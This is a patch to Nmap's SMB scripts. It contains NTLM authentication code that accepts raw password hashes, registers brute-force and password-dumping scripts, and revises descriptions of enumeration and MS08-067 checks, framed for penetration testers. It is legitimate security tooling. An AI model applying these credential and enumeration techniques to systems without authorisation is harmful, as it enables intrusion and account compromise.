elseif(nmap.registry[ip] ~= nil and nmap.registry[ip]['smbaccount'] ~= nil and nmap.registry[ip]['smbaccount']['username'] ~= nil) then
username = nmap.registry[ip]['smbaccount']['username']
stdnse.print_debug(2, "SMB: Using username found in the registry: %s", username)
else
username = nil
stdnse.print_debug(2, "SMB: Couldn't find a username to use, not logging in")
end
end
return username
end
---Determines which domain is going to be used, based on the function parameters and
-- the nmap arguments (in that order).
--
-- [TODO] registry
--
--@param domain [optional] The function parameter version, which will override all others if set.
--@return The highest priority domain that's set.
local function get_domain(ip, domain)
if(domain ~= nil) then
stdnse.print_debug(2, "SMB: Using domain passed as a parameter: %s", domain)
else
if(nmap.registry.args.smbdomain ~= nil) then
domain = nmap.registry.args.smbdomain
stdnse.print_debug(2, "SMB: Using domain passed as an nmap parameter: %s", domain)
else
domain = ""
stdnse.print_debug(2, "SMB: Couldn't find domain to use, using blank")
end
end
return domain
end
---Generate the Lanman and NTLM password hashes. The password itself is taken from the function parameters,
-- the nmap arguments, and the registry (in that order). If no password is set, then the password hash
-- is used (which is read from all the usual places). If neither is set, then a blank password is used.
--
-- The output passwords are hashed based on the hash type.
--
--@param ip The ip address of the host, used for registry lookups.
--@param username The username, which is used for v2 passwords.
--@param domain The username, which is used for v2 passwords.
--@param password [optional] The overriding password.
--@param password_hash [optional] The overriding password hash. Shouldn't be set if password is set.
--@param challenge The server challenge.
--@param hash_type The way in which to hash the password.
--@param is_extended Set to 'true' if extended security negotiations are being used (this has to be known for the
-- message-signing key to be generated properly).
--@return (lm_response, ntlm_response, mac_key) The two strings that can be sent directly back to the server,
-- and the mac_key, which is used for message signing.
local function get_password_response(ip, username, domain, password, password_hash, challenge, hash_type, is_extended)
local lm_hash = nil
local ntlm_hash = nil
local mac_key = nil
-- Check if there's a password or hash set. This is a little tricky, because in all places (except the one passed
-- as a parameter), it's based on whether or not the username was stored. This lets us use blank passwords by not
-- specifying one.
if(password ~= nil) then
stdnse.print_debug(2, "SMB: Using password/hash passed as a parameter (username = '%s')", username)
elseif(nmap.registry.args.smbusername ~= nil or nmap.registry.args.smbuser ~= nil) then
stdnse.print_debug(2, "SMB: Using password/hash passed as an nmap parameter")
if(nmap.registry.args.smbpassword ~= nil) then
password = nmap.registry.args.smbpassword
elseif(nmap.registry.args.smbpass ~= nil) then
password = nmap.registry.args.smbpass
elseif(nmap.registry.args.smbhash ~= nil) then
password_hash = nmap.registry.args.smbhash
end
elseif(nmap.registry[ip] ~= nil and nmap.registry[ip]['smbaccount'] ~= nil and nmap.registry[ip]['smbaccount']['username'] ~= nil) then
stdnse.print_debug(2, "SMB: Using password/hash found in the registry")
if(nmap.registry[ip]['smbaccount']['password'] ~= nil) then
password = nmap.registry[ip]['smbaccount']['password']
elseif(nmap.registry[ip]['smbaccount']['hash'] ~= nil) then
password_hash = nmap.registry[ip]['smbaccount']['password']
end
else
password = nil
password_hash = nil
end
-- Check for a blank password
if(password == nil and password_hash == nil) then
stdnse.print_debug(2, "SMB: Couldn't find password or hash to use (assuming blank)")
password = ""
end
-- If we got a password, hash it
if(password ~= nil) then
status, lm_hash = lm_create_hash(password)
status, ntlm_hash = ntlm_create_hash(password)
else
if(password_hash ~= nil) then
if(string.find(password_hash, "^" .. string.rep("%x%x", 16) .. "$")) then
stdnse.print_debug(2, "SMB: Found a 16-byte hex string")
lm_hash = bin.pack("H", password_hash:sub(1, 32))
ntlm_hash = bin.pack("H", password_hash:sub(1, 32))
elseif(string.find(password_hash, "^" .. string.rep("%x%x", 32) .. "$")) then
stdnse.print_debug(2, "SMB: Found a 32-byte hex string")
lm_hash = bin.pack("H", password_hash:sub(1, 32))
ntlm_hash = bin.pack("H", password_hash:sub(33, 64))
elseif(string.find(password_hash, "^" .. string.rep("%x%x", 16) .. "." .. string.rep("%x%x", 16) .. "$")) then
stdnse.print_debug(2, "SMB: Found two 16-byte hex strings")
lm_hash = bin.pack("H", password_hash:sub(1, 32))
ntlm_hash = bin.pack("H", password_hash:sub(34, 65))
else
stdnse.print_debug(1, "SMB: ERROR: Hash(es) provided in an invalid format (should be 32, 64, or 65 hex characters)")
lm_hash = nil
ntlm_hash = nil
end
end
end
-- At this point, we should have a good lm_hash and ntlm_hash if we're getting one
if(lm_hash == nil or ntlm_hash == nil) then
stdnse.print_debug(2, "SMB: Couldn't determine which password to use, using a blank one")
return "", ""
end
-- Output what we've got so far
stdnse.print_debug(2, "SMB: Lanman hash: %s", stdnse.tohex(lm_hash))
stdnse.print_debug(2, "SMB: NTLM hash: %s", stdnse.tohex(ntlm_hash))
-- Hash the password the way the user wants
if(hash_type == "v1") then
-- LM and NTLM are hashed with their respective algorithms
stdnse.print_debug(2, "SMB: Creating v1 response")
status, lm_response = lm_create_response(lm_hash, challenge)
status, ntlm_response = ntlm_create_response(ntlm_hash, challenge)
mac_key = ntlm_create_mac_key(ntlm_hash, ntlm_response, is_extended)
elseif(hash_type == "lm") then
-- LM is hashed with its algorithm, NTLM is blank
stdnse.print_debug(2, "SMB: Creating LMv1 response")
status, lm_response = lm_create_response(lm_hash, challenge)
ntlm_response = ""
mac_key = lm_create_mac_key(lm_hash, lm_response, is_extended)
elseif(hash_type == "ntlm") then
-- LM and NTLM both use the NTLM algorithm
stdnse.print_debug(2, "SMB: Creating NTLMv1 response")
status, lm_response = ntlm_create_response(ntlm_hash, challenge)
status, ntlm_response = ntlm_create_response(ntlm_hash, challenge)
mac_key = ntlm_create_mac_key(ntlm_hash, ntlm_response, is_extended)
elseif(hash_type == "v2") then
-- LM and NTLM are hashed with their respective v2 algorithms
stdnse.print_debug(2, "SMB: Creating v2 response")
status, lm_response = lmv2_create_response(ntlm_hash, username, domain, challenge)
status, ntlm_response = ntlmv2_create_response(ntlm_hash, username, domain, challenge, 24)
elseif(hash_type == "lmv2") then
-- LM is hashed with its v2 algorithm, NTLM is blank
stdnse.print_debug(2, "SMB: Creating LMv2 response")
status, lm_response = lmv2_create_response(ntlm_hash, username, domain, challenge)
ntlm_response = ""
else
-- Default to NTLMv1
stdnse.print_debug(1, "SMB: Invalid login type specified, using default (NTLM)")
status, lm_response = ntlm_create_response(ntlm_hash, challenge)
status, ntlm_response = ntlm_create_response(ntlm_hash, challenge)
end
stdnse.print_debug(2, "SMB: Lanman response: %s", stdnse.tohex(lm_response))
stdnse.print_debug(2, "SMB: NTLM response: %s", stdnse.tohex(ntlm_response))
return lm_response, ntlm_response, mac_key
end
---Get the list of accounts to use to log in. TODO: More description
function get_accounts(ip, overrides, use_defaults)
local results = {}
-- Just so we can index into it
if(overrides == nil) then
overrides = {}
end
-- By default, use defaults
if(use_defaults == nil) then
use_defaults = true
end
-- If we don't have OpenSSL, don't bother with any of this because we aren't going to
-- be able to hash the password
if(have_ssl == true) then
local result = {}
-- Get the "real" information
result['username'] = get_username(ip, overrides['username'])
result['domain'] = get_domain(ip, overrides['domain'])
result['hash_type'] = get_hash_type(overrides['hash_type'])
if(result['username'] ~= nil) then
results[#results + 1] = result
end
-- Do the "guest" account, if use_defaults is set
if(use_defaults) then
result = {}
result['username'] = "guest"
result['domain'] = ""
result['hash_type'] = get_hash_type(overrides['hash_type'])
results[#results + 1] = result
end
end
-- Do the "anonymous" account
if(use_defaults) then
result = {}
result['username'] = ""
result['domain'] = ""
results[#results + 1] = result
end
return results
end
function get_password_hashes(ip, username, domain, hash_type, overrides, challenge, is_extended)
if(overrides == nil) then
overrides = {}
end
if(username == "") then
return string.char(0), '', nil
elseif(username == "guest") then
return get_password_response(ip, username, domain, "", nil, challenge, hash_type, is_extended)
else
return get_password_response(ip, username, domain, overrides['password'], overrides['password_hash'], challenge, hash_type, is_extended)
end
end
function get_security_blob(security_blob, ip, username, domain, hash_type, overrides, use_default)
local pos = 1
local new_blob
local flags = 0x00008211 -- (NEGOTIATE_SIGN_ALWAYS | NEGOTIATE_NTLM | NEGOTIATE_SIGN | NEGOTIATE_UNICODE)
if(session_key == nil) then
session_key = string.rep(string.char(0x00), 16)
end
if(security_blob == nil) then
-- If security_blob is nil, this is the initial packet
new_blob = bin.pack("<zIILL",
"NTLMSSP", -- Identifier
NTLMSSP_NEGOTIATE, -- Type
flags, -- Flags
0, -- Calling workstation domain
0 -- Calling workstation name
)
return true, new_blob, "", ""
else
local identifier, message_type, domain_length, domain_max, domain_offset, server_flags, challenge, reserved
-- Parse the old security blob
pos, identifier, message_type, domain_length, domain_max, domain_offset, server_flags, challenge, reserved = bin.unpack("<LISSIIA8A8", security_blob, 1)
-- Get the information for the current login
local lanman, ntlm, mac_key = get_password_hashes(ip, username, domain, hash_type, overrides, challenge, true)
-- Convert the username and domain to unicode (TODO: Disable the unicode flag, evaluate if that'll work)
username = to_unicode(username)
domain = to_unicode(domain)
new_blob = bin.pack("<zISSISSISSISSISSISSII",
"NTLMSSP", -- Identifier
NTLMSSP_AUTH, -- Type
#lanman, -- Lanman (length, max, offset)
#lanman, --
0x40, --
#ntlm, -- NTLM (length, max, offset)
#ntlm, --
0x40 + #lanman, --
#domain, -- Domain (length, max, offset)
#domain, --
0x40 + #lanman + #ntlm,--
#username, -- Username (length, max, offset)
#username, --
0x40 + #lanman + #ntlm + #domain,
#domain, -- Hostname (length, max, offset)
#domain, --
0x40 + #lanman + #ntlm + #domain + #username,
#session_key, -- Session key (length, max, offset)
#session_key, --
0x40 + #lanman + #ntlm + #domain + #username + #domain,
flags -- Flags
)
new_blob = new_blob .. bin.pack("AAAAAA", lanman, ntlm, domain, username, domain, session_key)
return true, new_blob, mac_key
end
end
---Create an 8-byte message signature that's sent with all SMB packets.
--
--@param mac_key The key used for authentication. It's the concatination of the session key and the
-- response hash.
--@param data The packet to generate the signature for. This should be the packet that's about to be
-- sent, except with the signature slot replaced with the sequence number.
--@return The 8-byte signature. The signature is equal to the first eight bytes of md5(mac_key .. smb_data)
function calculate_signature(mac_key, data)
return string.sub(openssl.md5(mac_key .. data), 1, 8)
end

View File

@@ -91,11 +91,15 @@ action = function(host)
end
-- Format the Mac address in the standard way
if(#statistics >= 6) then
mac = string.format("%02x:%02x:%02x:%02x:%02x:%02x", statistics:byte(1), statistics:byte(2), statistics:byte(3), statistics:byte(4), statistics:byte(5), statistics:byte(6))
-- Samba doesn't set the Mac address
if(mac == "00:00:00:00:00:00") then
mac = "<unknown>"
end
else
mac = "<unknown>"
end
-- Check if we actually got a username
if(user_name == nil) then

View File

@@ -62,6 +62,8 @@ Entry{ category = "default", filename = "rpcinfo.nse" }
Entry{ category = "safe", filename = "rpcinfo.nse" }
Entry{ category = "discovery", filename = "rpcinfo.nse" }
Entry{ category = "version", filename = "skypev2-version.nse" }
Entry{ category = "intrusive", filename = "smb-brute.nse" }
Entry{ category = "auth", filename = "smb-brute.nse" }
Entry{ category = "intrusive", filename = "smb-check-vulns.nse" }
Entry{ category = "discovery", filename = "smb-enum-domains.nse" }
Entry{ category = "intrusive", filename = "smb-enum-domains.nse" }
@@ -76,6 +78,7 @@ Entry{ category = "intrusive", filename = "smb-enum-users.nse" }
Entry{ category = "default", filename = "smb-os-discovery.nse" }
Entry{ category = "discovery", filename = "smb-os-discovery.nse" }
Entry{ category = "safe", filename = "smb-os-discovery.nse" }
Entry{ category = "intrusive", filename = "smb-pwdump.nse" }
Entry{ category = "discovery", filename = "smb-security-mode.nse" }
Entry{ category = "safe", filename = "smb-security-mode.nse" }
Entry{ category = "discovery", filename = "smb-server-stats.nse" }

1046
scripts/smb-brute.nse Normal file

File diff suppressed because it is too large Load Diff

View File

@@ -1,12 +1,18 @@
description = [[
Checks if a host is vulnerable to MS08-067, a Windows RPC vulnerability that
can allow remote code execution. This script is intended to check for more
can allow remote code execution. This script will be expanded to check for more
vulnerabilities in the future.
WARNING: These checks are dangerous, and are very likely to bring down a server.
These should not be run in a production environment unless you (and, more importantly,
the business) understand the risks!
As a system administrator, performing these kinds of checks is crucial, because
a lot more damage can be done by a worm or a hacker using this vulnerability than
by a scanner. Penetration testers, on the other hand, might not want to use this
script -- crashing services is not generally a good way of sneaking through a
network.
If you set the script parameter 'unsafe', then scripts will run that are almost
(or totally) guaranteed to crash a vulnerable system; do NOT specify <code>unsafe</code>
in a production environment! And that isn't to say that non-unsafe scripts will

View File

@@ -1,5 +1,20 @@
description = [[
Attempts to enumerate domains on a system, along with their policies. This will likely only work without credentials against Windows 2000.
Attempts to enumerate domains on a system, along with their policies. This generally requires
credentials, except against Windows 2000. In addition to the actual domain, the "Builtin"
domain is generally displayed. Windows returns this in the list of domains, but its policies
don't appear to be used anywhere.
Much of the information provided is useful to a penetration tester, because it tells the
tester what types of policies to expect. For example, if passwords have a minimum length of 8,
the tester can trim his database to match; if the minimum length is 14, the tester will
probably start looking for sticky notes on people's monitors.
Another useful piece of information is the password lockouts -- a penetration tester often wants
to know whether or not there's a risk of negatively impacting a network, and this will
indicate it. The SID is displayed, which may be useful in other tools; the users are listed,
which uses different functions than <code>smb-enum-users.nse</code> (though likely won't
get different results), and the date and time the domain was created may give some insight into
its history.
After the initial <code>bind</code> to SAMR, the sequence of calls is:
* <code>Connect4</code>: get a connect_handle

View File

@@ -1,13 +1,19 @@
description = [[
Pulls a list of processes from the remote server over SMB (using the remote registry service and
HKEY_PERFORMANCE_DATA).
Pulls a list of processes from the remote server over SMB. This will determine
all running processes, their process IDs, and their parent processes. It is done
by querying the remote registry service, which is disabled by default on Vista; on
all other Windows versions, it requires Administrator privilges.
Requires Administrator access.
Since this requires administrator privileges, it isn't especially useful for a
penetration tester, since they can effectively do the same thing with metasploit
or other tools. It does, however, provide for a quick way to get process lists
for a bunch of systems at the same time.
WARNING: I have experienced crashes in regsvc.exe while making registry calls against a fully patched Windows
2000 system; I've fixed the issue that caused it, but there's no guarantee that it (or a similar vuln in the
same code) won't show up again.
WARNING: I have experienced crashes in regsvc.exe while making registry calls
against a fully patched Windows 2000 system; I've fixed the issue that caused it,
but there's no guarantee that it (or a similar vuln in the same code) won't show
up again. Since the process automatically restarts, it doesn't negatively impact
the system, besides showing a message box to the user.
]]
---
@@ -35,47 +41,23 @@ same code) won't show up again.
-- --
-- Host script results:
-- | smb-enum-processes:
-- | Idle
-- | | PID: 0, Parent: 0 [Idle]
-- | | Priority: 0
-- | |_Thread Count: 1, Handle Count: 0
-- | System
-- | | PID: 4, Parent: 0 [Idle]
-- | | Priority: 8
-- | |_Thread Count: 48, Handle Count: 392
-- | VMwareUser
-- | | PID: 212, Parent: 1832 [explorer]
-- | | Priority: 8
-- | |_Thread Count: 1, Handle Count: 45
-- | VMwareTray
-- | | PID: 240, Parent: 1832 [explorer]
-- | | Priority: 8
-- | |_Thread Count: 1, Handle Count: 41
-- | smss
-- | | PID: 252, Parent: 4 [System]
-- | | Priority: 11
-- | |_Thread Count: 3, Handle Count: 19
-- | csrss
-- | | PID: 300, Parent: 252 [smss]
-- | | Priority: 13
-- | |_Thread Count: 10, Handle Count: 347
-- | winlogon
-- | | PID: 324, Parent: 252 [smss]
-- | | Priority: 13
-- | |_Thread Count: 18, Handle Count: 513
-- | services
-- | | PID: 372, Parent: 324 [winlogon]
-- | | Priority: 9
-- | |_Thread Count: 17, Handle Count: 275
-- | lsass
-- | | PID: 384, Parent: 324 [winlogon]
-- | | Priority: 9
-- | |_Thread Count: 29, Handle Count: 415
-- | logon.scr
-- | | PID: 868, Parent: 324 [winlogon]
-- | | Priority: 4
-- | |_Thread Count: 1, Handle Count: 22
-- ...
-- | Idle [0] (parent: 0, priority: 0, threads: 1, handles: 0)
-- | System [8] (parent: 0, priority: 8, threads: 34, handles: 190)
-- | smss [140] (parent: 8, priority: 11, threads: 6, handles: 33)
-- | winlogon [160] (parent: 140, priority: 13, threads: 14, handles: 335)
-- | csrss [164] (parent: 140, priority: 13, threads: 10, handles: 229)
-- | services [212] (parent: 160, priority: 9, threads: 33, handles: 462)
-- | lsass [224] (parent: 160, priority: 9, threads: 13, handles: 267)
-- | SPOOLSV [412] (parent: 212, priority: 8, threads: 10, handles: 95)
-- | svchost [448] (parent: 212, priority: 8, threads: 24, handles: 369)
-- | mstask [516] (parent: 212, priority: 8, threads: 6, handles: 89)
-- | VMwareService.e [572] (parent: 212, priority: 13, threads: 4, handles: 95)
-- | winmgmt [648] (parent: 212, priority: 8, threads: 3, handles: 89)
-- | cmd [700] (parent: 212, priority: 8, threads: 1, handles: 28)
-- | explorer [720] (parent: 620, priority: 8, threads: 10, handles: 239)
-- | VMwareUser [748] (parent: 720, priority: 8, threads: 1, handles: 30)
-- | VMwareTray [764] (parent: 720, priority: 8, threads: 1, handles: 30)
-- |_ regsvc [868] (parent: 212, priority: 8, threads: 4, handles: 76)
-----------------------------------------------------------------------
author = "Ron Bowes"
@@ -264,7 +246,7 @@ action = function(host)
end
end
response = ' \n' .. psl_print(psl)
elseif(nmap.verbosity() > 0) then
elseif(nmap.verbosity() > 1) then
for i = 1, #names, 1 do
local name = names[i]
if(name ~= '_Total') then
@@ -275,9 +257,7 @@ action = function(host)
-- response = response .. string.format("%6d %24s (Parent: %24s, Priority: %4d, Threads: %4d, Handles: %4d)\n", process[name]['ID Process'], name, parent, process[name]['Priority Base'], process[name]['Thread Count'], process[name]['Handle Count'])
response = response .. string.format("%s [%d]\n", name, process[name]['ID Process'])
response = response .. string.format("| Parent: %s [%s]\n", process[name]['Creating Process ID'], parent)
response = response .. string.format("| Priority: %s, Thread Count: %s, Handle Count: %s\n", process[name]['Priority Base'], process[name]['Thread Count'], process[name]['Handle Count'])
response = response .. string.format("%s [%d] (parent: %s, priority: %s, threads: %s, handles: %s)\n", name, process[name]['ID Process'], process[name]['Creating Process ID'], process[name]['Priority Base'], process[name]['Thread Count'], process[name]['Handle Count'])
end
end

View File

@@ -1,29 +1,42 @@
description = [[
Enumerates the users logged into a system either locally or through an SMB share.
Enumerates the users logged into a system either locally or through an SMB share. The local users
can be logged on either physically on the machine, or through a terminal services session.
Connections to a SMB share are, for example, people connected to fileshares or making RPC calls.
Nmap's connection will also show up, and is generally identified by the one that connected "0
seconds ago".
Enumerating the local and terminal services users is done by reading the remote registry. Keys stored under
<code>HKEY_USERS</code> are SIDs that represent the currently logged in users, and those SIDs can be converted
to proper names by using the <code>lsar.LsaLookupSids</code> function. Doing this requires any access higher than
anonymous. Guests, users, or administrators are all able to perform this request on the operating
systems I (Ron Bowes) tested.
From the perspective of a penetration tester, the SMB Sessions is probably the most useful
part of this program, especially because it doesn't require a high level of access. On, for
example, a file server, there might be a dozen or more users connected at the same time. Based
on the usernames, it might tell the tester what types of files are stored on the share.
Enumerating SMB connections is done using the <code>srvsvc.netsessenum</code> function, which returns who's
logged in, when they logged in, and how long they've been idle for. Unfortunately, I couldn't find
a way to get the user's domain with this function, so the domain isn't printed. The level of access
required for this varies between Windows versions, but in Windows 2000 anybody (including the
anonymous account) can access this, and in Windows 2003 a user or administrator account is
required.
Since the IP they're connected from and the account is revealed, the information here can also
provide extra targets to test, as well as a username that's likely valid on that target. Additionally,
since a strong username to ip correlation is given, it can be a boost to a social engineering
attack.
Since both of these are related to users being logged into the server, it seemed logical to combine
them into a single script.
Enumerating the logged in users is done by reading the remote registry (and therefore won't
work against Vista, which disables it by default). Keys stored under <code>HKEY_USERS</code> are
SIDs that represent the connected users, and those SIDs can be converted to proper names by using
the <code>lsar.LsaLookupSids</code> function. Doing this requires any access higher than
anonymous; guests, users, or administrators are all able to perform this request on Windows 2000,
XP, 2003, and Vista.
I learned the idea and technique for this from sysinternals' tool, PsLoggedOn.exe. I use similar
function calls to what they use, so thanks go out to them. Thanks also to Matt Gardenghi, for requesting
this script.
Enumerating SMB connections is done using the <code>srvsvc.netsessenum</code> function, which
returns the usernames that are logged in, when they logged in, and how long they've been idle
for. The level of access required for this varies between Windows versions, but in Windows
2000 anybody (including the anonymous account) can access this, and in Windows 2003 a user
or administrator account is required.
WARNING: I have experienced crashes in regsvc.exe while making registry calls against a fully patched Windows
2000 system; I've fixed the issue that caused it, but there's no guarantee that it (or a similar vuln in the
same code) won't show up again.
I learned the idea and technique for this from sysinternals' tool, PsLoggedOn.exe. I (Ron
Bowes) use similar function calls to what they use (although I didn't use their source),
so thanks go out to them. Thanks also to Matt Gardenghi, for requesting this script.
WARNING: I have experienced crashes in regsvc.exe while making registry calls
against a fully patched Windows 2000 system; I've fixed the issue that caused it,
but there's no guarantee that it (or a similar vuln in the same code) won't show
up again. Since the process automatically restarts, it doesn't negatively impact
the system, besides showing a message box to the user.
]]
---
@@ -221,7 +234,11 @@ local function winreg_enum_rids(host)
else
result['name'] = lookupsids2_result['names']['names'][1]['name']
result['type'] = lookupsids2_result['names']['names'][1]['sid_type']
if(lookupsids2_result['domains'] ~= nil and lookupsids2_result['domains']['domains'] ~= nil and lookupsids2_result['domains']['domains'][1] ~= nil) then
result['domain'] = lookupsids2_result['domains']['domains'][1]['name']
else
result['domain'] = ""
end
end
if(result['type'] ~= "SID_NAME_WKN_GRP") then -- Don't show "well known" accounts
@@ -242,7 +259,10 @@ local function winreg_enum_rids(host)
return true, results
end
--_G.TRACEBACK = TRACEBACK or {}
action = function(host)
-- TRACEBACK[coroutine.running()] = true;
local response = " \n"
@@ -258,10 +278,12 @@ action = function(host)
response = response .. "|_ <nobody>\n"
else
for i = 1, #users, 1 do
if(users[i]['name'] ~= nil) then
response = response .. string.format("|_ %s\\%s since %s\n", users[i]['domain'], users[i]['name'], users[i]['changed_date'])
end
end
end
end
-- Get the connected sessions
status2, sessions = srvsvc_enum_sessions(host)

View File

@@ -1,21 +1,25 @@
description = [[
Attempts to list shares using the <code>srvsvc.NetShareEnumAll</code> MSRPC function and
retrieve more information about them using <code>srvsvc.NetShareGetInfo</code>.
retrieve more information about them using <code>srvsvc.NetShareGetInfo</code>. If access
to those functions is denied, a list of common share names are checked.
Finding open shares is useful to a penetration tester because there may be private files
shared, or, if it's writable, it could be a good place to drop a Trojan or to infect a file
that's already there. Knowing where the share is could make those kinds of tests more useful,
except that determiing where the share is requires administrative privileges already.
Running <code>NetShareEnumAll</code> will work anonymously against Windows 2000, and
requires a user-level account on any other Windows version. Calling <code>NetShareGetInfo</code>
requires an administrator account on every version of Windows I (Ron Bowes) tested.
requires an administrator account on all versions of Windows up to 2003, as well as Windows Vista
and Windows 7, if UAC is turned down.
Although <code>NetShareEnumAll</code> is restricted on certain systems, making a connection to
a share to check whether or not it exists will always work. So, if <code>NetShareEnumAll</code>
fails, a list of common shares will be checked.
Even if <code>NetShareEnumAll</code> is restricted, attempting to connect to a share will always
reveal its existence. So, if <code>NetShareEnumAll</code> fails, a pre-generated list of shares,
based on a large test network, are used. If any of those succeed, they are recorded.
After a list of shares is found, we attempt to connect to each of them anonymously, which lets
us divide them into the classes "anonymous" and "restricted."
When possible, once the list of shares is determined, <code>NetShareGetInfo</code> is called
to get additional information on them. Odds are this will fail, unless we're doing an authenticated
test.
After a list of shares is found, the script attempts to connect to each of them anonymously,
which divides them into "anonymous", for shares that the NULL user can connect to, or "restricted",
for shares that require a user account.
]]
---
@@ -69,51 +73,6 @@ hostrule = function(host)
return smb.get_port(host) ~= nil
end
---Attempts to enumerate the shares on a remote system using MSRPC calls. This will likely fail
-- against a modern system, but will succeed against Windows 2000.
--
--@param host The host object.
--@return Status (true or false).
--@return List of shares (if status is true) or an an error string (if status is false).
local function samr_enum_shares(host)
local status, smbstate
local bind_result, netshareenumall_result
local shares
local i, v
-- Create the SMB session
status, smbstate = msrpc.start_smb(host, msrpc.SRVSVC_PATH)
if(status == false) then
return false, smbstate
end
-- Bind to SRVSVC service
status, bind_result = msrpc.bind(smbstate, msrpc.SRVSVC_UUID, msrpc.SRVSVC_VERSION, nil)
if(status == false) then
smb.stop(smbstate)
return false, bind_result
end
-- Call netsharenumall
status, netshareenumall_result = msrpc.srvsvc_netshareenumall(smbstate, host.ip)
if(status == false) then
smb.stop(smbstate)
return false, netshareenumall_result
end
-- Stop the SMB session
smb.stop(smbstate)
-- Convert the share list to an array
shares = {}
for i, v in pairs(netshareenumall_result['ctr']['array']) do
shares[#shares + 1] = v['name']
end
return true, shares
end
---Attempts to connect to a list of shares as the anonymous user, returning which ones
-- it has and doesn't have access to.
--
@@ -205,42 +164,6 @@ function check_shares(host, shares)
return true, allowed_shares, denied_shares
end
---Attempts to retrieve additional information about a share. Will fail unless we have
-- administrative access.
--
--@param host The host object.
--@return Status (true or false).
--@return List of shares (if status is true) or an an error string (if status is false).
local function get_share_info(host, name)
local status, smbstate
local response = {}
-- Create the SMB session
status, smbstate = msrpc.start_smb(host, msrpc.SRVSVC_PATH)
if(status == false) then
return false, smbstate
end
-- Bind to SRVSVC service
status, bind_result = msrpc.bind(smbstate, msrpc.SRVSVC_UUID, msrpc.SRVSVC_VERSION, nil)
if(status == false) then
smb.stop(smbstate)
return false, bind_result
end
-- Call NetShareGetInfo
status, netsharegetinfo_result = msrpc.srvsvc_netsharegetinfo(smbstate, host.ip, name, 2)
if(status == false) then
smb.stop(smbstate)
return false, netsharegetinfo_result
end
smb.stop(smbstate)
return true, netsharegetinfo_result
end
action = function(host)
local enum_result
@@ -250,7 +173,7 @@ action = function(host)
local allowed, denied
-- Try and do this the good way, make a MSRPC call to get the shares
enum_result, shares = samr_enum_shares(host)
enum_result, shares = msrpc.enum_shares(host)
-- If that failed, try doing it with brute force. This almost certainly won't find everything, but it's the
-- best we can do.
@@ -295,7 +218,7 @@ action = function(host)
else
response = response .. string.format("Anonymous shares:\n")
for i = 1, #allowed, 1 do
local status, info = get_share_info(host, allowed[i])
local status, info = msrpc.get_share_info(host, allowed[i])
response = response .. string.format(" %s\n", allowed[i])
@@ -317,7 +240,7 @@ action = function(host)
response = response .. string.format("Restricted shares:\n")
for i = 1, #denied, 1 do
local status, info = get_share_info(host, denied[i])
local status, info = msrpc.get_share_info(host, denied[i])
response = response .. string.format(" %s\n", denied[i])

View File

@@ -1,29 +1,37 @@
description = [[
Attempts to enumerate the users on a remote Windows system, with as much
information as possible, through two different techniques (both over MSRPC,
which uses port 445 or 139). Some SAMR functions are used to enumerate users,
and bruteforce LSA guessing is attempted.
which uses port 445 or 139; see <code>smb.lua</code>). The goal of this script
is to discover all user accounts that exist on a remote system. This can be
helpful for administration, by seeing who has an account on a server, or for
penetration testing or network footprinting, by determining which accounts
exist on a system.
By default, both SAMR enumeration and LSA bruteforcing are used; however, these
can be fine tuned using Nmap parameters. For the most possible information,
leave the defaults; however, there are advantages to using them individually.
A penetration tester who is examining servers may wish to determine the
purpose of a server. By getting a list of who has access to it, the tester
might get a better idea (if financial people have accounts, it probably
relates to financial information). Additionally, knowing which accounts
exist on a system (or on multiple systems) allows the pen-tester to build a
dictionary of possible usernames for bruteforces, such as a SMB bruteforce
or a Telnet bruteforce. These accounts may be helpful for other purposes,
such as using the accounts in Web applications on this or other servers.
From a pen-testers perspective, retrieving the list of users on any
given server creates endless possibilities.
Users are enumerated in two different ways: using SAMR enumeration or
LSA bruteforcing. By default, both are used, but they have specific
advantages and disadvantages. Using both is a great default, but in certain
circumstances it may be best to give preference to one.
Advantages of using SAMR enumeration:
* Stealthier (requires one packet/user account, whereas LSA uses at least 10
packets while SAMR uses half that; additionally, LSA makes a lot of noise in
the Windows event log (LSA enumeration is the only script I (Ron Bowes) have
been called on by the administrator of a box I was testing against).
* Stealthier (requires one packet/user account, whereas LSA uses at least 10 packets while SAMR uses half that; additionally, LSA makes a lot of noise in the Windows event log (LSA enumeration is the only script I (Ron Bowes) have been called on by the administrator of a box I was testing against).
* More information is returned (more than just the username).
* Every account will be found, since they're being enumerated with a function
that's designed to enumerate users.
* Every account will be found, since they're being enumerated with a function that's designed to enumerate users.
Advantages of using LSA bruteforcing:
* More accounts are returned (system accounts, groups, and aliases are returned,
not just users).
* Requires a lower-level account to run on Windows XP and higher (a 'guest' account
can be used, whereas SAMR enumeration requires a 'user' account; especially useful
when only guest access is allowed, or when an account has a blank password (which
effectively gives it guest access)).
* More accounts are returned (system accounts, groups, and aliases are returned, not just users).
* Requires a lower-level account to run on Windows XP and higher (a 'guest' account can be used, whereas SAMR enumeration requires a 'user' account; especially useful when only guest access is allowed, or when an account has a blank password (which effectively gives it guest access)).
SAMR enumeration is done with the <code>QueryDisplayInfo</code> function.
If this succeeds, it will return a detailed list of users, along with descriptions,

View File

@@ -1,8 +1,9 @@
description = [[
Attempts to determine the operating system, computer name, domain, and current
time over the SMB protocol (ports 445 or 139). This is done by starting a
session with the anonymous account (or with a proper user account, if one is
given); in response to a session starting, the server will send back all this
time over the SMB protocol (ports 445 or 139 -- for more information, see
<code>smb.lua</code>). This is done by starting a session with the anonymous
account (or with a proper user account, if one is given -- likely doesn't make
a difference); in response to a session starting, the server will send back all this
information.
Some systems, like Samba, will blank out their name (and only send their domain).
@@ -10,6 +11,12 @@ Other systems (like embedded printers) will simply leave out the information. Ot
systems will blank out various pieces (some will send back '0' for the current
time, for example).
Retrieving the name and operating system of a server is a vital step in targeting
an attack against it, and this script makes that retrieval easy. Additionally, if
a penetration tester is choosing between multiple targets, the time can help identify
servers that are being poorly maintained (for more information/random thoughts on
using the time, see <http://www.skullsecurity.org/blog/?p=76>.
Although the standard <code>smb*</code> script arguments can be used,
they likely won't change the outcome in any meaningful way.
]]
@@ -55,81 +62,17 @@ end
action = function(host)
local state
local status, err
-- Start up SMB
status, state = smb.start(host)
local status, result = smb.get_os(host)
if(status == false) then
if(nmap.debugging() > 0) then
return "ERROR: " .. state
return "smb-os-discovery: ERROR: " .. result
else
return nil
end
end
-- Negotiate protocol
status, err = smb.negotiate_protocol(state)
if(status == false) then
stdnse.print_debug(2, "Negotiate session failed")
smb.stop(state)
if(nmap.debugging() > 0) then
return "ERROR: " .. err
else
return nil
end
end
-- Start a session
status, err = smb.start_session(state, "")
if(status == false) then
smb.stop(state)
if(nmap.debugging() > 0) then
